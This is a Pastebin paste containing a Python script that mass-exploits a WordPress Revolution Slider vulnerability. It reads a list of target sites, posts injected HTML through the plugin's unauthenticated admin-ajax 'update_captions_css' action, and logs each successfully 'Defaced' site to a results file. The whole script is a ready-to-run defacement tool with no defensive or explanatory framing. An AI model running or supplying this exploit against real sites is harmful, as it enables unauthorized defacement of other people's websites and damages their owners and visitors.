Guest User

Untitled

a guest
Mar 27th, 2015
810
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2.  
  3. import urllib, urllib2, os, sys
  4. import cookielib
  5.  
  6. os.system('cls' if os.name == "nt" else 'clear' )
  7.  
  8. site = sys.argv[1]
  9.  
  10. def main():
  11.  
  12. dname = raw_input('test user name: ')
  13.  
  14. ajax = cookielib.CookieJar()
  15. opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
  16.  
  17. ency = urllib.urlencode({'action': "revslider_ajax_action",
  18. 'client_action': "update_captions_css",
  19. 'data': "<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>CSS Update Test "+dname+"<p style='color: transparent'>",
  20.  
  21. })
  22.  
  23. site_list = open(site, 'r')
  24. box = site_list.read().splitlines()
  25. for Url4 in box:
  26. try:
  27. url = "http://" + Url4 + "/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css"
  28. nox = urllib2.Request(url, ency)
  29. data = opener.open(nox).read()
  30. if 'succesfully' in data:
  31. ind = "[~] Defaced. =>> " + Url4
  32. print ind
  33. check = open('result.txt', 'a')
  34. check.write(Url4+"/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css")
  35. check.write("\n")
  36. check.close()
  37.  
  38. else:
  39. print "Failed =>> " + Url4
  40. except:
  41. continue
  42.  
  43. main()
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×